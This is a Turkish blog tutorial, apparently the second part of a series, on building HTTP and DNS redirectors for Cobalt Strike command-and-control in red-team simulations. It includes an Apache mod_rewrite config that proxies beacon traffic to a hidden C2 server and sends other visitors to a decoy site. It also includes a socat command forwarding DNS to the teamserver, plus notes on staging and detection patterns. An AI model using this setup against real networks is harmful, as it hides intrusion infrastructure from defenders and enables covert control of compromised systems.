Cobalt Strike ile Siber Saldırı Simülasyonu: HTTP, DNS Reverse Shell & Yönlendiriciler #2
Bir önceki yazı içerisinde siber saldırı simülasyonlarında kullanılan yönlendirici (redirector) yapısına ve Cobalt Strike üzerinden hedef sistem kontrolü konularına kısaca değinmiştik. Eğer henüz okumadıysanız 1. kısımdan başlamanız faydalı olacaktır. Bu yazı kapsamında ise, HTTP ve DNS protokolleri kullanılarak hedef sisteme geri dönüşlü bağlantı (reverse shell) kurulması ve bu bağlantının yönlendirici üzerinden iletilmesi incelenecek ve iki örnek kurulum gerçekleştirilecektir.
Giriş
Siber saldırılarda yönlendiricinin kullanımındaki genel amaç, hedef sistem ile komuta kontrol merkezi (C2) arasında iletişimin üzerinden kontrollü şekilde geçmesinin sağlanacağı bir yapı oluşturulabilmesidir. Tüm saldırı ve komuta-kontrol trafiğinin yönlendirici sistemler üzerinden geçtiği durumlarda hedef sistem tarafından bakıldığında bağlantıların yönlendiriciler ile yapıldığı görülmekte ancak komuta kontrol sistemlerinin gerçek konumları hedef tarafından bilinememektedir. Bu sayede saldırının fark edildiği durumlarda, hedef sistem / ağ tarafında alınacak aksiyonlar yönlendirici adresleri için gerçekleştirilebilecek ancak C2 altyapısının yapısı / detayları / adresleri açığa çıkmamış olacaktır. Komuta kontrol altyapılarının kurulum zorluğu ve operasyonel güvenlik nedeniyle, yakalanma riski olan / açığa çıkabilecek sistemlerin yönlendiriciler olması tercih edilmektedir.
HTTP Reverse Shell için Yönlendirici Kurulumu
Günümüz en yaygın web protokollerinden olan (ve en basit haliyle bu web sayfası da dahil olmak üzere tüm web sayfalarında gezmek için kullanılan) HTTP ve HTTPS protokolleri, (doğrudan ya da dolaylı şekilde) internete erişimi olan ağlarda standart cihazlar için ağ dışına bağlantı kurulumuna müsaade edilen protokoller arasında ilk sırada olması sebebiyle sıkça reverse shell amaçlı tercih edilmektedir.
Teknik olarak, yönlendirici sistemin HTTP(Port:80) ya da HTTPS(Port:443) protokollerinde gelen istekleri komuta kontrol sunucusuna iletmesi ve komuta kontrol sunucusundan alacağı cevapları ilgili sisteme yönlendirmesi beacon-C2 arası iletişimin sağlanması için yeterli olacaktır. Ancak günümüzde, kötü amaçlı tarafların da tercih edebildikleri gibi, siber saldırı tatbikatlarında HTTP(S) yönlendirici (Redirector) olacak sistemin HTTP/HTTPS protokollerinde gelen istekleri karşılayabilmesi ve asıl olarak C2 (komuta kontrol) iletişimi içeren istekleri komuta kontrol sunucusuna yönlendirirken geri kalan tüm isteklerin belirlenmiş gerçek bir siteye ya da oluşturulmuş sahte (zararsız) bir web sitesine yönlendirmesi beklenmektedir. C2 haberleşmesi dışındaki isteklerin zararsız bir web sitesine yönlendirilmesi, hedef ekipler tarafından yapılacak basit/üstünkörü bir incelemede tespit edilmemeyi sağlayabilecektir. Bu yönlendirme yapısının niteliği siber saldırı simulasyonlarında kırmızı takımın başarısına doğrudan etki edebilecek, doğru şekilde uygulanmış bir yönlendirme yapısı sayesinde daha detaylı incelemelerde de fark edilmemeyi ya da geç fark edilmeyi sağlayabilecektir.
Belirtilen bu ihtiyaçlar genellikle bulut üzerinde kurulabilecek küçük ölçekli linux bazlı sunucular ile karşılanabilmektedir. Bu amaçla apache web server ile birlikte mod_rewrite, mod_proxy ve mod_ssl modüllerinin kullanımı yeterli olacaktır. Alternatif olarak hızlı redirector kurulumlarında socat kullanımı da literatürde yer almaktadır. Ancak yüksek trafik sebepli performans sorunları yaşanması ve http(s) trafiğini birden fazla kurala göre farklı noktalara yönlendirme konusunda özelleştirme zorluğu sebebiyle bu yazı içerisinde apache temelli yönlendirici kurulumuna değinilecektir. (bu yazı içerisinde işlenmemekle birlikte nginx vb. diğer web sunucuları kullanılarak ya da load balancing amaçlı oluşturulmuş HAProxy gibi uygulamalar vasıtasıyla da yönlendirici yapısının kurulumu mümkündür.)
Aşağıda apache kurulu bir linux sistem üzerinde bu yapının ayarlanması gösterilmektedir. Öncelikle, aşağıdaki gibi ilgili Apache pluginleri kurulmalı ve aktif edilmelidir.
a2enmod ssl rewrite proxy proxy_http
systemctl restart apache2Sonrasında Apache genel ayarları düzenlenerek .htaccess dosyası ile kural girişine uygun hale getirilmelidir. Bu amaçla /etc/apache2/sites-available/000-default.conf dosyası içerisinde AllowOrverride parametresini değiştirerek web ana dizini altında .htaccess kullanımına müsaade edilmelidir. Ardından web ana dizini altına bir .htaccess dosyası oluşturularak, içerisine ilgili yönergeler girilmelidir. Aşağıda basit bir yönlendirici için .htaccess içerisine yazılan mod_proxy ve mod_rewrite kural örneği verilmiştir.
#
RewriteEngine On
#
# C2 yonlendirme kuralları
#
RewriteCond %{REQUEST_URI} ^(<yönlendirilmek istenenen URL>)$
RewriteCond %{HTTP_USER_AGENT} "<yönlendirmek istenenen user agent>"
RewriteRule ^.*$ "http://<C2 Sunucu Adresi>%{REQUEST_URI}" [P,L]
#
# Geriye kalan tüm istekler için yonlendirme kuralları
#
RewriteRule ^(.*)$ <Zararsız Web Adresi>%{REQUEST_URI} [P]Yönlendirici kullanılmak istendiğinde Cobalt Strike üzerinde dinleyici oluşturulurken aşağıdaki gibi “Host” alanına ilgili yönlendiricinin adresi verilmelidir (Ardından çıkacak pop-up içerisine de beaconing adresi olarak yine ilgili yönlendiricinin adresi verilmelidir, aksi takdirde hedef sistemdeki ajanlar doğrudan komuta kontrol sunucusu ile haberleşmeyi deneyeceklerdir).
Cobalt Strike varsayılan HTTP reverse shell ayarları kullanıldığında (malleable profil kullanılmadığında), hazırlama (staging) işlemi için 4 alfanumerik ve hazırlama işlemi sonrası haberleşme için de genellikle 1 ile 5 arasında alfanumerik karakter içeren URI’lara HTTP GET istekleri kullanılmaktadır. Benzer şekilde hedef sistemden komuta kontrol sunucusuna gönderilecek veriler için de varsayılan ayarlarda her dinleyici oluşturduğunda belirlenen bir URI’a HTTP POST istekleri kullanılmaktadır. Bu URI’lar varsayılan ayarlarda her dinleyici oluşturulduğunda rastgele belirlenmektedir. htaccess dosyasına uygun ayarlar girildiğinde hedef sistemdeki ajanın yönlendirici üzerinden komuta kontrol sunucusu ile iletişimi aşağıda gösterilmektedir. Bu yazıdaki örnekler için exampledomain.xyz alan adı alınmış ve ilgili alan adının DNS A kaydının yönlendirici (redirector) sunucusunu göstermesi sağlanmıştır.
HTTP Reverse shell bağlantısının üzerinden gerçekleştirilmekte olduğu exampledomain.xyz adresine standart bir tarayıcı üzerinden erişildiğinde ise ziyaretçi hazırlanan zararsız içeriğe ya da siteye yönlendirilecektir. Beacon-C2 iletişimi ilgili exampledomain.xyz üzerinden sürerken, tarayıcı üzerinden erişen kullanıcıya normal bir web sayfası iletilmesi aşağıda görülebilir.
Cobalt Strike Malleable profile kullanılarak beacon trafiğinin detaylı şekilde özelleştirilmesi mümkündür. Beacon-C2 trafiğinde bu şekilde bir özelleştirme yapıldığı durumda, yönlendirme kurallarının da http trafiğindeki çerez (Cookie) değeri, URL parametresi, URL dizini, user agent vb. alanlara göre özelleştirilmesi de mümkün olmaktadır. (Örnek mod_proxy ve mod_rewrite kullanımları, .htaccess konfigürasyon kuralları ile ilgili detaylı bilgi için apache mod_proxy, mod_rewrite dokümantasyonları incelenmelidir).
DNS Reverse Shell için Yönlendirici Kurulumu
DNS reverse shell adından da anlaşılacağı üzere komuta kontrol sunucusu ve hedef sistem arası iletişimin DNS protokolü üzerinden gerçekleştirildiği bir geri dönüşlü bağlantı türüdür. Bu yöntemin tercih edilme sebebi kurumsal (güvenli) ağlarda HTTP(S) protokolü için kategorizasyon bazlı içerik filtreleme kuralları kullanılması, trafiğin açılarak içeriğinin IPS kurallarına göre incelenmesi (Deep Packet Inspection), direkt internete erişimin belirli sistemler için engellenmesi vb. güvenlik önlemlerinin yaygın olarak kullanılabiliyor olmasıdır. Buna karşın bu ağlarda DNS trafiği (UDP) için güvenlik önlemleri ile nispeten daha az karşılaşılmaktadır. Reverse shell amaçlı DNS protokolünün kullanımının temel dezavantajı ise gecikmeli, kayıplı ve düşük veri aktarımına sebep olabilmesidir.
Cobalt strike 2 farklı DNS reverse shell beacon desteklemektedir: beacon_dns/reverse_http ve beacon_dns/reverse_dns_txt.
beacon_dns/reverse_http yönteminde beacon, staging (hazırlama) işlemi için komuta kontrol sunucusuna HTTP protokolü üzerinden bağlanmakta, staging sonrası iletişim ise DNS protokolü üzerinden asenkron olarak gerçekleştmektedir.
Bir diğer metod olan beacon_dns/reverse_dns_txt ise, staging işlemi de dahil haberleşmeleri tamamen DNS protokolü üzerinden asenkron olarak gerçekleşmektedir. Varsayılan ayarlarda DNS TXT kayıtları üzerinden iletişim kurulurken malleable profili oluşturularak DNS A ve DNS AAA kayıtları üzerinden iletişim kurulması da mümkündür.
DNS reverse shell ile çalışabilmek için öncelikle, DNS kayıtları değiştirilebilecek bir alan adına ihtiyaç vardır. Bu örnek içerisinde sub.exampledomain.xyz alan adını kullanacağız. Yukarıdaki akış çiziminde de görüldüğü üzere, sub.exampledomain.xyz için yapılacak DNS sorgularına yanıt verecek bir sunucumuz olmalıdır. Bu akışta öncelikle Root DNS sunucusu, DNS sorgusu yapan hedef ağ DNS sunucusuna .xyz için ana dns sunucusun adresini dönecek, hedef ağ DNS suncusu exampledomain.xyz alan adı için .xyz DNS sunucuna eriştiğinde ise exampledomain.xyz için kayıtlı DNS suncusuna (yeşil) yönlendirilecektir. Son olarak sorgulamayı gerçekleştiren hedef ağ DNS sunucusuna sub.exampledomain.xyz için kurmuş olduğumuz yönlendiricinin adresi dönülecektir. Hedef Ağ DNS sunucusu beacon tarafından <beacon verisi>.sub.exampledomain.xyz adresi için gönderilmekte olan DNS sorgularını kurmuş olduğumuz yönlendiriciye iletecek ve yönlendirme yapısı ile cobalt strike sunucusu ile iletişim sağlanmış olacaktır.
Linux tabanlı bir yönlendirici üzerinde bu yapı (socat yüklü ise) aşağıdaki komut ile sağlanabilir:
socat UDP4-RECVFROM:53,fork UDP4-SENDTO:<Cobalt Teamserver>:53Not: Çalışma kısa süreli olmayacak ise yönlendirme yapısının screen, tmux, nohup vb. komutlar yardımı ile çalıştırılması, Yönlendirici-C2 arası iletişimin kopacak ssh bağlantısından etkilenmemesini sağlayacaktır.
DNS Yönlendiricili bu yapı için Cobalt Strike dinleyici ayarları aşağıda gösterilmektedir. Dinleyici oluşturulurken isim olarak istenilen bir isim girilebilir Host alanı ise cobalt sunucusunun adresi olmalıdır. Port alanı beacon_dns/reverse_dns_txt için geçerli bir alan değildir ancak beacon_dns/reverse_http kullanıldığı durumda üzerinden basamaklama / hazırlama işleminin gerçekleştirileceği HTTP iletişimin sağlanacağı Port’u ifade etmektedir.
Kaydet’e basıldıktan sonra aşağıdaki form çıkacaktır ve buraya yönlendiricinin çalışmakta (DNS NS kaydının göstermekte) olduğu alan adı girilmelidir. Buraya yazılan alan adları geri dönüşlü DNS iletişimi için Beacon tarafından yapılacak DNS sorgularında kullanılacaktır.
Team server başlatıldıktan sonra, kendi sisteminizden nslookup komutu kullanılarak bağlantının çalışıp çalışmadığı test edebilirsiniz. Çalışan DNS Redirector yapısı için aşağıdaki gibi bir yanıt görmeniz gerekmektedir
reverse_dns_txt yöntemi kullanıldığı durumda hazırlama işleminin tamamlanması için yaklaşık 3500 istek yapılması gerekmektedir Aşağıda staging gerçekleşmekte olan örnek bir hedef sistem üzerindeki Beacon için Wireshark çıktısı gösterilmektedir. Bu işlemin ardından Cobalt Strike üzerinde Beacon görülebilir hale gelir ve hedef sistem üzerinde komut çalıştırma erişimi elde edilir (Not: Hazırlama işleminin tamamlanması varsayılan ayarlarda yaklaşık 3 dakika sürmektedir aşağıdaki örnek ekran kaydı kısaltılmıştır ve Beacon tepkisini hızlandırmak amacıyla Sleep değeri 1 saniye altında belirlenmiştir.)
Operasyonel Güvenlik (OPSEC) Notu: Yukarıdaki Wireshark çıktısından da görülebildiği üzere DNS üzerinden beacon hazırlama (staging) işlemi hedef sistemden kısa süre zarfında art arda bir çok DNS isteğinin aynı noktaya yapılması anlamına gelecektir. Bu sürecin uzun sürmesinin yanı sıra varsayılan ayarlar ile kullanıldığında fark edilirliğinin yüksek olduğu ve isteklerin yapılarının yukarıda görülebildiği üzere diğer DNS isteklerinden ayrıştırılabilir bir desene (pattern) sahip olduğu unutulmamalıdır.
Hazırlama (Staging) işlemi tamamlandıktan sonra beacon bilgileri aşağıdaki gibi Cobalt Strike arayüzüne ulaşmış olur. DNS üzerinden haberleşirken protokol yapısı gereği yüksek veri yolu tüketecek işlemler yapılması çoğunlukla mümkün olmayacaktır. Aşağıda uyku süresi 1 saniye altında olarak ayarlanmış bir DNS beacon komuta kontrolü gösterilmektedir.
Bu yazı içerisinde HTTP ve DNS protokolleri üzerinden reverse shell bağlantısını inceledik ve bu iki protokol için de komuta kontrol sunucusu-hedef sistem arasına yönlendirici yapısının kurulumunu açıkladık.
